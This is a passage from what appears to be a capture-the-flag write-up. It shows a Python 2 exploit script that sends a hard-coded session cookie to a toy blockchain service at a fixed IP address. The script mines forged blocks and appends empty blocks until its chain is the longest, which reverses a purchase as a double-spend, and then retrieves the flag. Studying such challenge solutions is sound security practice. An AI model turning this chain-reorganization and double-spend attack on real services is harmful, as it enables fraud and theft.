

def main():
    # session 修改为自己的cookie
    session = ".eJzNll1vozgYhf_KKte9AANNGGkvwpIgorERiQljr1YjvgoYSKsmnQSP-t_3kPnaaVdzsdpZbaq0qYPx6_Oe55iPs7y_L7rj7M3HmeMQs6rmd5lrE3Lrmqbl2M6c5K6dEdNxy2peEsNy7bmzWJBi4dr53HDssnCdeUUy25zu0WTHZvr7Sz57M2M8GWm67xmRTcTjkSrhUL7SjMcm05s24tuGqpUZpVtcg-996jC_MCO_HoWuHRaEFvUTQwYY52VPh5VB419_nT3fzJqqrZvT7A25mR3uD0X1dVGx8_r8nWdUO6_NA1dl508THh6rD98u4oXBgn1LldfTILwwQs-SbxXVhU39dYcKHIw7dIgdqWJTTNdxrB5Qg_I9Kq9NwVcXqoWmwcqSPDbE54VOj9nhmBWn9v4AWX__A0PzIrfzrMgcMyeOQcxbq3QWRWFhML9zcydfkNu72_x2QexbMjeqynLdam6TyiZZOXfc18oS1rJg0wiyMmkajowvR8qFln5iC0L19btBOEKhVj8kUsmWqXpkvhiZ9nrJqROlicX8TY93IyfVXyhrvFR2HzR9uN4-5Oleh_5SvzUemrxdoG1LJ1yxe5E6SqaXY26FdU7sWhw2D_lwxGdRF2SvsPcuRGFZevlQvotrObjj9D-ued0h3PT8r7-Xf9uhF9pSElqC10bkJ6bQgqD30DkeJV9ZLIWjgxWJODQm8A0PL0IlBlOyF0NyZlx2IoVv1Lql0JiRdQv3d19c2x4enk6TKW5m90-nT58_zrKyfPxmTbVBq_pWKmoDGMCB6bxDa-Mzxhzq73sZrAxBsEy6GkUqLmyILcr7ll1bXhhCMYDloa1lg_GeBQDMX_csDWHVwha66eUQE2xFU8xhenmBnfVk66nMbLh_OqA207i-br4XKOIbzJbd1Ti8A9LiEkEcqulZKKyQAiwNXP0CFSdWBGNGfIlqWS-n3Whgk1JcR1GtbKRaK_oZnrb8uozkm1YMmw69OFFV2_Q3w2B-Mr7lfcP85YnpEALFNjZkUZKcZ8_PkPXY1ofs9PRYXdGb4Mvmtl3lxKiM3JwXRmUX1nxhmOVi4Rq5S0r3znZyozJN2yhs08ndhZMh-24tI5tXtl28gu9nhscX-MyX8O1W6zDenevdzvP4zkt2q6SOu3W0G72Im0XzCqCfGRE_BkgGU5SHJh22SmgPDiwHOQhLBkxFKWugXQNXozLWC1TEeNNNeka-p6TqCGA7s2tVk6PhjQBz6u8B-sce-QF5EZ-Ar0dK9pi876PpyOGhLYYYx5EwpA9C0lAzFZoilS2C4hKlUxBscbx1FkUQRMGkcGjLNMYxtoVHtgNLp_v1kw69IFATfojS1Rk-gndQoN5OYXH5K3nu9fUCvOn8FDokQPYi-XqIeKEn0QTOUwhuMV3AcOGF-vU58q_nLgTEWRskaOUGZl3BqJ3FOBbXxYUiCthr8FiKffrURrKcrkkyGoZUS_IW6RH53YlxHM1-0133GOw7gHfzfw6xlypqb5C-VEL1PX7blCeYE-soWA_AFJAsL0x3QFT2TKN1Exo-kB_oBAfq8jo5MMX8CawY0jStXL5WkU_U90jJ-iTVXkU7qOgL6y2vp_Q7yTRBDkKKqz1Z_zq-vmiZJjZgVbDhmSoGWwJSzRCbFOtvoXEP_wucS5sWmhLBu7MMEmjkIYpQa4rzSbOWDqEzxTb0mp6osGcgFgBTzQbJ4RbdDzSlppz2xXsFN42w6MQMfrC5ujpUx_b4_vrE-P4_ex4Z758e35ct2nkokTbG858lvWhh.DgANcA.6CMFZnK_d-iV9nVLo8ptBTY2ejM"
    cookies = {"session": session}
    req = s.get(
        "http://116.85.48.107:5000/b9ca5f959dd7e/", cookies=cookies)
    block1 = {}
    block1["prev"] = GENESIS_BLOCK_HASH
    block1["transactions"] = getTrans()
    block1 = burst(block1, DIFFICULTY)
    # 创世区块
    req1 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=myprint(block1), headers=headers(session))
    print "req1:"
    print req1.content
    # 区块二   因为reset，此时链最长（少则一次多则两次）钻石+1 商店转走钱 此时区块长度为3（商店转走会生成一个新的区块）
    session2 = req1.headers['Set-Cookie'].split(";")[0][8:]
    block2 = emptyBlock(block1['hash'], "empty2")
    req2 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=json.dumps(block2), headers=headers(session2))
    print "req2:"
    print req2.content
    # 区块三   从区块二开始挖矿
    session3 = req2.headers['Set-Cookie'].split(";")[0][8:]
    block3 = emptyBlock(block2['hash'], "empty3")
    req3 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=json.dumps(block3), headers=headers(session3))
    print "req3:"
    print req3.content
    # 区块四   这时链变为最长的了，钻石+1 商店转走  区块 长度变为5
    session4 = req3.headers['Set-Cookie'].split(";")[0][8:]
    block4 = emptyBlock(block3['hash'], "empty4")
    req4 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=json.dumps(block4), headers=headers(session4))
    print "req4:"
    print req4.content

    # 区块五  这确保链会最长
    session5 = req4.headers['Set-Cookie'].split(";")[0][8:]
    block5 = emptyBlock(block4['hash'], "empty5")
    req5 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=json.dumps(block5), headers=headers(session5))
    print "req5:"
    print req5.content

    # 获取flag
    session6 = req5.headers['Set-Cookie'].split(";")[0][8:]
    req6 = s.get("http://116.85.48.107:5000/b9ca5f959dd7e/flag",
                 headers=headers(session6))
    print "flag:"
    print req6.content


if __name__ == '__main__':
    main()

0x04参考

5.我的博客